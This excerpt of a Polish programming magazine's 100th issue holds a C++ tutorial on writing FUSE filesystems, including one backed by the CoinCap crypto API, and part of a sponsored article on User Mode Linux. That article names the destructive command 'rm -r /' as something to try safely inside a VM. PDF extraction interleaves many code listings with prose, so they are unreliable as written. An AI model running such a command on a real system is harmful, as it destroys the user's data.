You are on page 1of 128

01010000

01110010
01101111
01100111
01110010
01100001
01101101
01101001
01110011
01110100
01100001
#
/* 1100100 Wydanie */
…takiej liczby wydań życzylibyśmy sobie w systemie dziesiętnym , 😉 Cel, który nam przyświecał podczas tworzenia magazynu „Progra-
ale jesteśmy wyjątkowo zadowoleni, że udaje nam się spotkać przy mista”, to uzupełnienie oferty wydawniczej w segmencie prasy infor-
okazji wydania 100… Chociaż czytelnicy, którzy są z nami od początku, matycznej. Uznaliśmy, że na półkach powinien pojawić się magazyn
zapewne zauważą pewną nieścisłość. Zgodnie z tradycją indeksowa- programistyczny. Setne wydanie udowadnia, że warto było podjąć to
nia elementów tablicy naszą przygodę rozpoczęliśmy od wydania nu- ryzyko. Czytelnikom, autorom, recenzentom, współpracownikom i re-
meru 0, który pojawił się tylko w formie elektronicznej. A to oznacza, że klamodawcom dziękujemy za to, że mogliśmy wydać 99 poprzednich
z niektórymi czytelnikami spotkaliśmy się już 101 razy. oraz to jubileuszowe wydanie.
Redakcja

BIBLIOTEKI I NARZĘDZIA
4 # Własny system plików z FUSE
> Paweł "KrzaQ" Zakrzewski

12 # eXpressApp Framework przyjacielem programisty. Jak zbudować aplikację biznesową w 2 godziny


> Jacek Kosiński, Patryk Wyprzał

JĘZYKI PROGRAMOWANIA
32 # Metody magiczne w PHP
> Piotr Jaworski

38 # Dedukcja argumentów szablonu dla klas w C++17


> Jakub Woźniczka

PROGRAMOWANIE SYSTEMOWE
42 # Kprobe od środka. Przeprawa przez jądro Linuxa
> Marek Maślanka

50 # Hello World pod lupą


> Adam Sawicki, Mateusz Jurczyk, Gynvael Coldwind

PROGRAMOWANIE APLIKACJI WEBOWYCH


64 # API Platform – tworzenie API GraphQL
> Adrian Chojnicki

PRZETWARZANIE RÓWNOLEGŁE I ROZPROSZONE


70 # Architektury Big Data i procesowanie strumienia danych w czasie rzeczywistym na bazie Kafka Streams
> Marcin Mikłasz, Bartłomiej Szczotka, Konrad Kowalczyk

ALGORYTMIKA
78 # Problem ANPR. Automatyczne rozpoznawanie tablic rejestracyjnych
> Wojciech Sura

LABORATORIUM BOTTEGA
92 # W co grają ludzie? Jak zrozumieć ukryte struktury i algorytmy komunikacji międzyludzkiej przy pomocy Analizy Transakcyjnej
> Kamil Rogulski, Sławomir Sobótka

BEZPIECZEŃSTWO
100 # Analiza złośliwego oprogramowania: packery i obfuskacja
> Jarosław Jedynak

Z ARCHIWUM CVE
106 # OpenSSL Heartbleed
> Mariusz Zaborski

PLANETA IT
112 # DeFi – chwilowy trend czy prawdziwa rewolucja?
> Przemysław Trepka

PRAWO
124 # Konsekwencje Polskiego Ładu dla programistów
> Jakub Szkutnik

{ WWW.PROGRAMISTAMAG.PL } <3>
BIBLIOTEKI I NARZĘDZIA

Własny system plików z FUSE


Ukrycie szczegółów systemu plików za warstwą abstrakcji jest znaczącym uproszczeniem dla użyt-
kownika, są to pliki – reprezentujące pojedyncze jednostki danych, a także foldery – zbiory plików.

P onieważ abstrakcja plików i folderów znakomicie się spisuje, niektó-


re systemy operacyjne (przede wszystkim Unix i systemy koncep-
cyjnie na nim bazujące, w tym Linux) traktują wszystko1 jako pliki [0].
» nfts-3g – umożliwiający montowanie woluminów sformatowa-
nych systemem plików NTFS.

Listing 1. Przykład użycia SSHFS


Za przykład może tutaj służyć specjalny system plików proc montowany
w katalogu /proc – pozwala on między innymi na przeglądanie danych # utwórz katalog bt
[pts/32:krzaq@krzaq:~/test]% mkdir bt
oraz metadanych procesów działających w danym systemie jako plików. # zamontuj zdalny katalog /test w bt
[pts/32:krzaq@krzaq:~/test]% sshfs bt:/test bt
Foldery /proc/<id_procesu> odnoszą się do procesów o kon- # sprawdź zawartość bt
kretnym id, istnieje także folder specjalny /proc/self zawsze od- [pts/32:krzaq@krzaq:~/test]% ls bt
# sprawdź zawartość używając zwykłego SSH
noszący się do procesu, który próbuje otrzymać do niego dostęp. [pts/32:krzaq@krzaq:~/test]% ssh bt "ls /test"
# zapisz plik używając zwykłego SSH
Przykładowe2 pozyskanie danych z tego systemu plików znajduje się [pts/32:krzaq@krzaq:~/test]% echo "Test"|\
w Listingu 0. ssh bt "cat > /test/test"
# sprawdź zawartość używając zwykłego SSH
[pts/32:krzaq@krzaq:~/test]% ssh bt "ls /test"
Listing 0. Pozyskanie danych z systemu plików /proc
test
# sprawdź zawartość pliku używając zwykłego SSH
[pts/37:krzaq@krzaq:~]% cat /proc/1/cmdline|strings [pts/32:krzaq@krzaq:~/test]% ssh bt "cat /test/test"
/usr/lib/systemd/systemd Test
--system # sprawdź zawartość bt
--deserialize [pts/32:krzaq@krzaq:~/test]% ls bt
[pts/37:krzaq@krzaq:~]% cat /proc/self/cmdline|strings test
/proc/self/cmdline # sprawdź zawartość pliku bt/test
[pts/37:krzaq@krzaq:~]% ls -la /proc/self/exe [pts/32:krzaq@krzaq:~/test]% cat bt/test
lrwxrwxrwx 1 krzaq krzaq 0 Jan 01 16:13 /proc/self/exe -> /usr/bin/ls Test
# odmontuj bt
[pts/32:krzaq@krzaq:~/test]% umount bt
Implementacja systemów plików historycznie zawsze odbywała się
na poziomie jądra systemu. Nie zawsze jednak takie wymaganie oraz
HELLO, FUSE
idące za nim uprawnienia mają sens. O ile systemy zarządzające war-
stwą sprzętową bezpośrednio (np. FAT, ext2/3/4, ZFS) faktycznie ko- Celem tego artykułu jest zaprezentowanie podstaw użycia biblioteki
rzystają z dostępu na poziomie jądra, o tyle np. podłączanie zasobów libfuse z perspektywy programisty. Tradycją jest tworzenie progra-
sieciowych wymaga jedynie dostępu do warstwy TCP, która jest także mów typu „Hello, World!” w nowej technologii, i właśnie od takiego
w przestrzeni użytkownika (ang. userland). programu zaczniemy.
Przede wszystkim należy uzyskać bibliotekę libfuse w wersji umoż-

FUSE – FILESYSTEM IN USERSPACE liwiającej development. Autor używa systemu Linux Arch, gdzie
wystarczy instalacja paczki fuse3. Systemy powiązane z Debianem
Opisany powyżej problem rozwiązuje FUSE. Jest to interfejs pomię- i Ubuntu będą wymagać instalacji libfuse-dev. Pozyskanie odpo-
dzy warstwą jądra a warstwą użytkownika, który umożliwia imple- wiedniego pakietu w innych systemach pozostaje w gestii użytkowni-
mentację i użytkowanie własnych systemów plików bez modyfiko- ka. Istnieje też możliwość kompilacji FUSE ze źródeł, ale nie będzie
wania jądra. Ściślej rzecz biorąc, FUSE to połączenie dwóch części: ona opisana w tym artykule.
kodu w jądrze systemu (w systemach linuksowych: domyślnie od Ponadto w programie wykorzystamy fmtlib, bibliotekę odpowie-
wersji jądra 2.6.14) oraz biblioteki libfuse, która odpowiada za trans- dzialną za formatowanie stringów. Można ją pozyskać z GitHuba,
lację wywołań funkcji systemu plików. z managera paczek lub z managera zależności takiego jak np. Conan.
Istnieje wiele popularnych systemów plików korzystających z FUSE, Mając podstawy, można przystąpić do implementacji. Pliki projek-
a autor tego artykułu bardzo ceni sobie następujące: tu przedstawione są w Listingach 2 i 3. Funkcja Findfuse jest koniecz-
» gzipfs – pozwalający na interakcję z archiwami bez ich pełnego na, aby wywołanie find_package(fuse) się powiodło. Została ona
odpakowywania, pozyskana z projektu BCC Fuse [2], dostępnego na licencji Apache.
» ftpfs – do reprezentacji zasobów FTP jako lokalnych folderów,
Listing 2. Główny plik CMakeLists.txt
» sshfs – do reprezentacji zasobów zdalnych maszyn jako lokal-
nych folderów, korzystając z bezpiecznego protokołu SSH (przy- cmake_minimum_required(VERSION 3.18)

kład użycia w Listingu 1), project(progmagfs


VERSION 0.1
LANGUAGES C CXX
1. Dla definicji „wszystko” nie obejmującej dosłownie wszystkiego. Niemniej jednak jest to znaczący )
trend w korzystaniu z tych systemów.
2. Nie należy takiego rozwiązania stosować produkcyjnie. Komenda strings została użyta, po- find_package(fuse REQUIRED)
nieważ kolejne argumenty są oddzielone znakami o wartości 0, ale pomija ona zbyt krótkie ciągi find_package(fmt REQUIRED)
znakowe.

<4> { 1 / 2022 < 100 > }


/ Własny system plików z FUSE /

set(KQ_DEFINES "FMT_HEADER_ONLY" "FUSE_USE_VERSION=30") int (*truncate) (const char *, off_t);


int (*open) (const char *, struct fuse_file_info *);
add_subdirectory(hello) int (*read) (const char *, char *, size_t, off_t,
struct fuse_file_info *);
Listing 3. Plik hello/CMakeLists.txt int (*write) (const char *, const char *, size_t, off_t,
struct fuse_file_info *);
add_executable(hello hello.cpp) int (*statfs) (const char *, struct statvfs *);
int (*flush) (const char *, struct fuse_file_info *);
target_compile_features(hello PUBLIC cxx_std_20) int (*release) (const char *, struct fuse_file_info *);
set_target_properties(hello PROPERTIES CXX_EXTENSIONS 0) int (*fsync) (const char *, int, struct fuse_file_info *);
target_link_libraries(hello PRIVATE int (*opendir) (const char *, struct fuse_file_info *);
${FUSE_LIBRARIES}
int (*readdir) (const char *, void *, fuse_fill_dir_t,
fmt::fmt
off_t, struct fuse_file_info *);
)
target_compile_definitions(hello PRIVATE int (*access) (const char *, int);
${FUSE_DEFINITIONS} int (*create) (const char *, mode_t,
${KQ_DEFINES} struct fuse_file_info *);
) int (*ftruncate) (const char *, off_t,
target_include_directories(hello PRIVATE struct fuse_file_info *);
${FUSE_INCLUDES} int (*fgetattr) (const char *, struct stat *,
) struct fuse_file_info *);
int (*lock) (const char *, struct fuse_file_info *,
int cmd, struct flock *);
Początkowa wersja pliku hello.cpp znajduje się w Listingu 4. Nie im- int (*poll) (const char *, struct fuse_file_info *,
plementuje ona żadnych funkcjonalności. struct fuse_pollhandle *ph, unsigned *reventsp);
int (*fallocate) (const char *, int, off_t, off_t,
Listing 4. hello.cpp - wersja bez żadnej implementacji struct fuse_file_info *);
};
#include <fuse.h>
int main(int argc, char** argv)
Jeśli czytelnik miał kiedyś do czynienia z systemami linuksowymi,
{
fuse_operations ops = {}; uniksowymi lub z POSIX w ogóle, to wiele nazw z powyższej listy
return fuse_main(argc, argv, &ops, nullptr); będzie brzmieć znajomo. Nie jest to podobieństwo przypadkowe –
}
wywołanie tych funkcji na systemie plików będzie skutkowało próbą
Listing 5. Weryfikacja „działania” obecnej wersji wywołania ich imienników z fuse_operations.
Aby przywitać się z FUSE, zaimplementujemy następujące trzy
[pts/28:krzaq@krzaq:~/code/prog_fuse/build]% cmake \
-DCMAKE_EXPORT_COMPILE_COMMANDS=ON \ operacje:
-DCMAKE_MODULE_PATH=$(pwd)/../cmake \
.. » getattr – do uzyskania atrybutów plików i folderów,
-- Configuring done » readdir – do uzyskania listy plików i folderów,
-- Generating done
-- Build files have been written to: /home/krzaq/code/prog_fuse/ » read – do przeczytania pliku.
build
[pts/28:krzaq@krzaq:~/code/prog_fuse/build]% make -j
[ 50%] Building CXX object hello/CMakeFiles/hello.dir/hello.cpp.o Implementacja getattr() oznacza uzupełnienie struktury stat. Dla
[100%] Linking CXX executable hello
[100%] Built target hello uproszczenia wszystko będzie wyłącznie do odczytu, wyłącznie przez
[pts/32:krzaq@krzaq:~/test]% ~/code/prog_fuse/build/hello/hello hello właściciela. init_timestamp to zmienna globalna, do której zapisze-
[pts/32:krzaq@krzaq:~/test]% mount|grep hello
/home/krzaq/test/hello on /home/krzaq/test/hello type fuse.hello my moment inicjalizacji programu.
(rw,nosuid,nodev,relatime,user_id=1000,group_id=1000)
[pts/32:krzaq@krzaq:~/test]% ls hello Listing 7. Implementacja getattr()
ls: cannot access 'hello': Function not implemented
int getattr(char const* path, struct stat* st)
{
Jak widać, formalnie można stwierdzić, że początkowa implemen- st->st_uid = getuid();
tacja działa. Aby zapewnić jej jakiekolwiek funkcjonalności, należy st->st_gid = getgid();
st->st_mtime = init_timestamp;
uzupełnić strukturę fuse_operations, która obecnie jest całkowicie st->st_atime = init_timestamp;
st->st_ctime = init_timestamp;
pusta. Struktura ta zawiera kilkadziesiąt wskaźników na funkcje, spo-
śród których należy uzupełnić te, których implementacje przekazuje- if (path == "/"sv) {
st->st_mode = S_IFDIR | 0400;
my. Pełna dokumentacja znajduje się w bibliografii [3], a w Listingu 6 st->st_nlink = 2;
} else {
przedstawiono wybrane fragmenty.
st->st_mode = S_IFREG | 0400;
st->st_nlink = 1;
Listing 6. Struktura fuse_operations, wybrane fragmenty st->st_size = 4096;
}
struct fuse_operations {
int (*getattr) (const char *, struct stat *); return 0;
int (*readlink) (const char *, char *, size_t); }
int (*getdir) (const char *, fuse_dirh_t, fuse_dirfil_t);
int (*mknod) (const char *, mode_t, dev_t);
int (*mkdir) (const char *, mode_t); Funkcja readdir() zwróci użytkownikowi końcowemu wyłącznie
int (*unlink) (const char *);
int (*rmdir) (const char *);
dwa elementy: katalogi specjalne . (kropka) oraz .. (dwie kropki).
int (*symlink) (const char *, const char *); Jeśli zapytanie będzie dotyczyło głównego katalogu systemu plików,
int (*rename) (const char *, const char *);
int (*link) (const char *, const char *); do listy dodamy plik „Hello, FUSE!”. Warto zwrócić uwagę na funk-
int (*chmod) (const char *, mode_t); cję filler(), która jest callbackiem przekazanym przez FUSE i którą
int (*chown) (const char *, uid_t, gid_t);
wywołujemy dla kolejnych elementów.

{ WWW.PROGRAMISTAMAG.PL } <5>
BIBLIOTEKI I NARZĘDZIA

Listing 8. Implementacja readdir() -- Configuring done


-- Generating done
int readdir(char const* path, void* buffer, -- Build files have been written to: /home/krzaq/code/prog_fuse/
fuse_fill_dir_t filler, off_t offset, fuse_file_info* fi) build
{ [pts/28:krzaq@krzaq:~/code/prog_fuse/build]% make -j
filler(buffer, ".", nullptr, 0); [ 50%] Building CXX object hello/CMakeFiles/hello.dir/hello.cpp.o
filler(buffer, "..", nullptr, 0); [100%] Linking CXX executable hello
[100%] Built target hello
if (path == "/"sv) { [pts/32:krzaq@krzaq:~/test]% ~/code/prog_fuse/build/hello/hello
filler(buffer, "Hello, FUSE!", nullptr, 0); hello
} [pts/32:krzaq@krzaq:~/test]% ls hello
return 0; 'Hello, FUSE!'
} [pts/32:krzaq@krzaq:~/test]% cat hello/Hello,\ FUSE\!
Hello, FUSE!
Created at 1640849579
[pts/32:krzaq@krzaq:~/test]% ls -lah hello
Funkcja read() zwróci dane pliku. FUSE przekazuje w niej następu-
total 4.0K
jące wartości jako argumenty: dr-------- 2 krzaq krzaq 0 Dec 30 08:32 .
drwxr-xr-x 4 krzaq krzaq 4.0K Dec 30 07:16 ..
» path – ścieżka do pliku (relatywna do systemu plików), -r-------- 1 krzaq krzaq 4.0K Dec 30 08:32 'Hello, FUSE!'
» buffer – bufor do zapisu danych, [pts/32:krzaq@krzaq:~/test]% mount|grep hello
/home/krzaq/test/hello on /home/krzaq/test/hello type fuse.hello
» size – wielkość bufora, (rw,nosuid,nodev,relatime,user_id=1000,group_id=1000)
» offset – offset, [pts/32:krzaq@krzaq:~/test]% umount hello
[pts/32:krzaq@krzaq:~/test]%
» fuse_file_info* – wskaźnik na dodatkowe dane pliku.

Wartością zwracaną powinna być liczba zapisanych bajtów. W przy- Jak widać, plik istnieje i ma oczekiwaną zawartość.
padku napotkania błędu powinna zostać zwrócona odwrotna war-
tość errno. Dlatego zwracamy -ENOENT (ang. error, no entry), jeśli
CRYPTO API
zapytanie dotyczy pliku, który nie istnieje.
Po początkowym sukcesie należy zrobić coś, co choć w znikomym
Listing 9. Implementacja funkcji read()
stopniu będzie przydatne. W tym celu autor wybrał reprezentację
int read(char const* path, char* buffer, size_t size, REST-owego API jako plików na przykładzie API serwisu CoinCap.
off_t offset, fuse_file_info* fi)
{ Jest to serwis agregujący dane dotyczące wielu kryptowalut. Autor
static const auto message = fmt::format( zdaje sobie sprawę z tego, że kryptowaluty to polaryzujący temat, ale
"Hello, FUSE!\nCreated at {}\n", init_timestamp);
jest to jedno z niewielu publicznie dostępnych API, które oferują roz-
if (path != "/Hello, FUSE!"sv)
return -ENOENT; sądne limity użycia oraz nie wymagają żadnej rejestracji.
if (offset >= message.size()) Do łączenia się z API będzie użyta biblioteka libcurl [4], a do par-
return 0; sowania formatu JSON biblioteka nlohmann/json [5].
auto bytes_to_copy = std::min(size, Samo użycie API będzie w naszym przypadku trywialne i będzie
message.size() - offset);
auto begin = message.cbegin() + offset;
to zapytanie do adresu api.coincap.io/v2/assets lub api.coincap.io/v2/
std::copy(begin, begin + bytes_to_copy, buffer); assets/<id>.
return bytes_to_copy;
} Listing C. Przykład użycia API coincap.io

[pts/32:krzaq@krzaq:~/test]% \
Mając te implementacje (w przestrzeni nazw kq), możemy uzupełnić curl 'https://api.coincap.io/v2/assets'|wc
strukturę ops w funkcji main(). % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 38890 0 38890 0 0 212k 0 --:--:-- --:--:-- --:--:-- 212k
Listing A. Funkcja main() 0 34 38890
[pts/32:krzaq@krzaq:~/test]% \
int main(int argc, char** argv) curl 'https://api.coincap.io/v2/assets/bitcoin'|jq
% Total % Received % Xferd Average Speed Time Time Time Current
{ Dload Upload Total Spent Left Speed
fuse_operations ops = { 100 417 100 417 0 0 2574 0 --:--:-- --:--:-- --:--:-- 2590
.getattr = &kq::getattr, {
.read = &kq::read, "data": {
.readdir = &kq::readdir, "id": "bitcoin",
}; "rank": "1",
"symbol": "BTC",
kq::init_timestamp = time(nullptr); "name": "Bitcoin",
"supply": "18933737.0000000000000000",
return fuse_main(argc, argv, &ops, nullptr); "maxSupply": "21000000.0000000000000000",
} "marketCapUsd": "782245643545.9200945186632958",
"volumeUsd24Hr": "12307856752.4181934242177412",
"priceUsd": "41314.9101810128710734",
"changePercent24Hr": "-1.8134234704925106",
"vwap24Hr": "41883.7515598364261260",
Prezentacja użycia znajduje się w Listingu B. "explorer": "https://blockchain.info/"
},
Listing B. Hello, FUSE! "timestamp": 1642578556777
}
[pts/28:krzaq@krzaq:~/code/prog_fuse/build]% cmake \
-DCMAKE_EXPORT_COMPILE_COMMANDS=ON \
-DCMAKE_MODULE_PATH=$(pwd)/../cmake \ Zacznijmy od implementacji funkcji pobierającej dane za pomocą
.. HTTP GET – Listing D.

<6> { 1 / 2022 < 100 > }


/ Własny system plików z FUSE /

Listing D. funkcja kq::http::get() std::map<std::string, std::string> ret;


auto json = nlohmann::json::parse(*result);
static size_t write(void* ptr, size_t size, size_t nmemb,
std::string* dest) if (!json.is_object() || json["data"].is_null())
{ return {};
dest->append(static_cast<char const*>(ptr),

size * nmemb);
for (auto const& el : json["data"].items()) {
return size * nmemb;
if (el.value().is_null()) {
}
ret[el.key()] = "<null>";
std::optional<std::string> get(std::string const& url) } else {
{ ret[el.key()] = el.value();
auto curl = curl_easy_init(); }
if (!curl) }
return std::nullopt;
return ret;
curl_easy_setopt(curl, CURLOPT_URL, url.data());
}
std::string response;
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, &write);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); Ponieważ pliki to ciągi danych (tutaj: tekstowych), warto dodać funk-
curl_easy_perform(curl);
cję formatującą detale symbolu kryptowaluty.

long response_code; Listing 10. Funkcja zwracająca dane symbolu jako tekst
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
&response_code); std::string symbol_details_string(std::string_view id)
{
curl_easy_cleanup(curl); auto details = get_symbol_details(id);
DEBUG("response: {}", response_code); if (details.size() == 0)
if (response_code != 200) return {};
return std::nullopt;
return response; auto cmp = [](auto const& l, auto const& r){
} return l.first.size() < r.first.size();
};

auto max_it = std::max_element(


Autor zwraca uwagę, że jest to kod uproszczony, którego celem jest details.cbegin(), details.cend(), cmp);

egzemplifikacja użycia FUSE, dlatego też wiele kategorii błędów nie std::string ret;
jest tutaj obsługiwanych.
for (auto const& [k, v] : details) {
Mając metodę get(), można zaimplementować obsługę API. ret += fmt::format(
"{:.<{}}.{}\n", k, max_it->first.size(), v);
Pobranie listy symboli (unikalnych nazw różnych kryptowalut) oraz }
szczegółowych danych konkretnej kryptowaluty znajduje się odpo-
return ret;
wiednio w Listingach E i F. }

Listing E. Funkcja get_list_of_symbols()


Teraz wystarczy użyć tych funkcji w kodzie funkcji przekazanych
std::vector<std::string> get_list_of_symbols() strukturze fuse_operations. Funkcja getattr() pozostanie bez
{ zmian – nadal wszystkie pliki i foldery są tylko do odczytu. Funkcja
static constexpr auto api =
"https://api.coincap.io/v2/assets"; readdir() będzie teraz dynamicznie generować listę plików:
auto result = http::get(api);
Listing 11. Funkcja readdir()
DEBUG("result: {}", !!result);
if (!result) int readdir(char const* path, void* buffer,
return {}; fuse_fill_dir_t filler, off_t offset, fuse_file_info* fi)
auto json = nlohmann::json::parse(*result); {
filler(buffer, ".", nullptr, 0);
if (!json.is_object()) filler(buffer, "..", nullptr, 0);
return {};
DEBUG("readdir({})", path);
std::vector<std::string> ret;
if (path == "/"sv) {
for (auto const& el : json["data"]) { auto files = kq::utils::get_list_of_symbols();
ret.push_back(el["id"]); for (auto const& f : files) {
} filler(buffer, f.c_str(), nullptr, 0);
}
return ret; } else {
} return -ENOENT;
}
Listing F. Funkcja get_symbol_details()
return 0;
}
std::map<std::string, std::string> get_symbol_details(
std::string_view id)

{ Podobne zmiany czekają funkcję read().


auto api = fmt::format(
"https://api.coincap.io/v2/assets/{}", id); Listing 12. Funkcja read()
auto result = http::get(api);
DEBUG("result: {}", !!result);
int read(char const* path, char* buffer, size_t size,
if (!result)
off_t offset, fuse_file_info *fi)
return {};
{
std::string_view p = path;

{ WWW.PROGRAMISTAMAG.PL } <7>
BIBLIOTEKI I NARZĘDZIA

p.remove_prefix(1); dash solana


auto message = kq::utils::symbol_details_string(p); decentraland stacks
decred stellar
if (message.size() == 0) defichain symbol
return -ENOENT; dogecoin terra-luna
ecash terrausd
if (offset >= message.size())
ecomi tether
return 0;
elrond-egld tezos
auto bytes_to_copy = std::min(size, enjin-coin the-graph
message.size() - offset); eos the-sandbox
auto begin = message.cbegin() + offset; ethereum theta
std::copy(begin, begin + bytes_to_copy, buffer); ...
return bytes_to_copy;
} Listing 17. Uzyskanie detali dotyczących kryptowalut Bitcoin i Ethereum

[pts/32:krzaq@krzaq:~/test]% cat crypto/bitcoin


Plik CMakeLists.txt jest prawie identyczny względem tego dla syste- changePercent24Hr.-1.3029755720915049
explorer..........https://blockchain.info/
mu plików hello. id................bitcoin
marketCapUsd......784414957845.5356054989286698
Listing 13. Plik projektu dla systemu crypto maxSupply.........21000000.0000000000000000
name..............Bitcoin
set(CRYPTO_SOURCES http.cpp utils.cpp) priceUsd..........41429.4841977331577754
rank..............1
find_package(CURL REQUIRED) supply............18933737.0000000000000000
find_package(nlohmann_json REQUIRED) symbol............BTC
add_executable(crypto crypto.cpp) volumeUsd24Hr.....12410787082.0799309538368007
vwap24Hr..........41866.8310846948337033
target_compile_features(crypto PUBLIC cxx_std_20)
set_target_properties(crypto PROPERTIES CXX_EXTENSIONS 0) [pts/32:krzaq@krzaq:~/test]% cat crypto/ethereum
target_link_libraries(crypto PRIVATE changePercent24Hr.-3.3997011906023914
${FUSE_LIBRARIES} explorer..........https://etherscan.io/
fmt::fmt id................ethereum
CURL::libcurl marketCapUsd......366027728430.4991988256481788
nlohmann_json::nlohmann_json maxSupply.........<null>
) name..............Ethereum
target_compile_definitions(crypto PRIVATE priceUsd..........3070.2326654539129582
${FUSE_DEFINITIONS} rank..............2
${KQ_DEFINES} supply............119218237.9365000000000000
) symbol............ETH
target_include_directories(crypto PRIVATE ${FUSE_INCLUDES}) volumeUsd24Hr.....9098382171.3315015867191079
target_sources(crypto PRIVATE ${CRYPTO_SOURCES}) vwap24Hr..........3130.4237034216152376

Po napisaniu powyższego kodu pozostało tylko sprawdzić go w praktyce!


PODSUMOWANIE
Listing 14. Kompilacja systemu plików crypto
W tym artykule zaprezentowany został bardzo prosty system plików
[pts/28:krzaq@krzaq:~/code/prog_fuse/build]% cmake \ z użyciem biblioteki FUSE. Pomimo tego, że prezentował on wyłącz-
-DCMAKE_EXPORT_COMPILE_COMMANDS=ON \
-DCMAKE_MODULE_PATH=$(pwd)/../cmake \ nie dane tylko do odczytu, zasadne wydaje się stwierdzenie, że może
..
-- Configuring done on mieć praktyczne zastosowanie. Pełne kody źródłowe znajdują się
-- Generating done w serwisie GitHub [6].
-- Build files have been written to: /home/krzaq/code/prog_fuse/build
[pts/28:krzaq@krzaq:~/code/prog_fuse/build]% make -j
Consolidate compiler generated dependencies of target hello
Consolidate compiler generated dependencies of target crypto
[ 33%] Built target hello
[ 50%] Building CXX object crypto/CMakeFiles/crypto.dir/crypto.cpp.o Źródła
[ 66%] Building CXX object crypto/CMakeFiles/crypto.dir/http.cpp.o
[ 83%] Building CXX object crypto/CMakeFiles/crypto.dir/utils.cpp.o [0] https://en.wikipedia.org/wiki/Everything_is_a_file
[100%] Linking CXX executable crypto [1] https://en.wikipedia.org/wiki/Filesystem_in_Userspace
[100%] Built target crypto [2] raw.githubusercontent.com/iovisor/bcc-fuse/master/cmake/Modules/Findfuse.cmake
[3] http://libfuse.github.io/doxygen/structfuse__operations.html
Listing 15. Zamontowanie systemu plików crypto [4] https://curl.se/libcurl/
[5] https://github.com/nlohmann/json
[pts/32:krzaq@krzaq:~/test]% ~/code/prog_fuse/build/crypto/crypto [6] https://github.com/KrzaQ/programista-fuse
crypto

Listing 16. Listing dostępnych kryptowalut

[pts/32:krzaq@krzaq:~/test]% ls -w 60 crypto
1inch kadena PAWEŁ "KRZAQ" ZAKRZEWSKI
aave klaytn
algorand kucoin-token https://dev.krzaq.cc
amp kusama
arweave litecoin Absolwent Automatyki i Robotyki oraz Informatyki na Zachodniopomor-
avalanche loopring skim Uniwersytecie Technologicznym. Pracuje jako Software Engineer
axie-infinity maker w Sauce Labs. Programowaniem interesuje się od dzieciństwa, jego ostat-
basic-attention-token mina
nie zainteresowania to C++ i metaprogramowanie.
binance-coin monero
binance-usd multi-collateral-dai
bitcoin near-protocol
...

<8> { 1 / 2022 < 100 > }


Kamil Szóstak

ICOTERA

Czym jest User Mode Linux

UML, czyli User Mode Linux, jest portem jądra Linux do prze- Po wykonaniu tego polecenia otrzymamy terminal zawiera-
strzeni użytkownika. Pozwala on na uruchomienie maszyny jący wszystkie dane przekazanego przez nas systemu plików
wirtualnej poprzez skompilowanie kernela i uruchomienie i funkcjonalność wybranej wersji systemu Linux. Kolejnym
go wraz z systemem plików jako proces w trybie użytkownika wartym poruszenia aspektem jest obsługa sieci w UMLu. Aby
na hoście. To znaczy, że kod wykonawczy nie ma możliwości uzyskać dostęp do swojego ulubionego filmiku na YouTube,
bezpośredniego dostępu do sprzętu lub pamięci. Zamiast z in- użytkownik musi zmostkować połączenie hosta z kartą siecio-
terfejsu hardware'u, korzysta z interfejsu funkcji systemowych wą gościa (ang. guest). Na szczęście UML zajmuje się całym
udostępnianych przez hosta. procesem tworzenia i konfigurowania interfejsów sieciowych
Ze względu na ochronę zapewnioną przez ten rodzaj izo- – użytkownik musi jedynie dodać argument:
lacji awarie w trybie użytkownika nie destabilizują pracy ho-
./vmlinux ubda=filesystem eth0=tuntap,,,192.168.1.14
sta. Umożliwia to użytkownikowi między innymi bezpieczne
testowanie programów, wprowadzanie modyfikacji w kerne- W tym przypadku korzystamy z TUN/TAP, sterownika tworzącego
lu albo, dla bardziej odważnych, analizę działania komendy potok (ang. pipe) pomiędzy hostem a UMLem. Użytkownik ma do
rm -r / bez większych konsekwencji. wyboru wiele innych opcji uzyskania łącza ze światem. Najpopular-
Możliwe jest uruchomienie wielu wirtualnych maszyn na niejsze to wcześniej wymieniony TUN/TAP, ethertap, Multicast, slip,
jednym hoście. Mogą one działać zupełnie osobno lub połą- slirp, pcap i switch daemon.
czone ze sobą w sieci. Zawsze są jednak odizolowane od sys-
temu hosta.
Zastosowania

Skoro zapoznaliśmy się już z podstawami UMLa i jego budową,


Budowa
przejdźmy do przykładów, jak można zastosować go w praktyce.
Aby uruchomić User Mode Linux, niezbędne są dwa elemen- UML, jak większość maszyn wirtualnych, oferuje warstwę izo-
ty: kernel, który otrzymujemy za pomocą procesu kompila- lacji, która tworzy doskonałe środowisko do testowania nie-
cji preferowanej przez nas wersji Linuxa, oraz system plików bezpiecznych programów. Nawet jeśli system plików zostanie
zawierający wszelkie dane, które są istotne dla użytkownika. uszkodzony, jego odtworzenie jest trywialne. Następnie dzięki
Podczas inicjalizacji instancji UMLa użytkownik ma do dys- temu, że każdy użytkownik może posiadać własną maszynę
pozycji wiele argumentów, za pomocą których może określić wirtualną, do której ma prawa roota, możemy zwiększyć bez-
zachowanie konsoli oraz dostosować specyfikację UMLa do pieczeństwo oraz funkcjonalność serwisów oferujących do-
swoich potrzeb. Najprostszą komendą używaną do urucho- stęp do shella. Kolejnym zastosowaniem UMLa jest emulacja
mienia wirtualnego systemu jest: i symulacja sprzętu. Wirtualną maszynę można skonfigurować
tak, jakby miała podzespoły, które nie znajdują się na hoście
./vmlinux ubda=filesystem

{ MATERIAŁ INFORMACYJNY }
– na przykład możemy zasymulować pamięć flash, wykorzy- cych zdalnie, ponieważ zaoszczędzi czas, który byśmy spędzili
stując do tego pamięć RAM hosta. UML jest często stosowany nad transportem, aktualizacją i naprawą urządzeń. Develo-
podczas prac nad urządzeniem, które jeszcze fizycznie nie ist- per, tester ani żaden inny pracownik nie potrzebuje posiadać
nieje. Oprogramowanie może być tworzone w instancji UML fizycznego urządzenia, gdyż wszystko może być substytuowa-
emulującej sprzęt. Pozwala to na równoległą pracę nad rozwo- ne przez wirtualną maszynę dostarczaną przez UML. Uru-
jem oprogramowania i sprzętu. chomienie kompilacji UMLa w OpenWRT jest bardzo proste.
Dzięki temu, że UML oferuje dostęp do sieci, użytkownik Możemy do tego użyć polecenia make menuconfig, w którym
ma możliwość eksploracji potencjalnie niebezpiecznych stron ustawiamy pozycję „Target System” na „User Mode Linux”.
bez obaw uszkodzenia hosta. UML może też być wykorzysta- Po zapisaniu konfiguracji uruchamiamy kompilację za pomo-
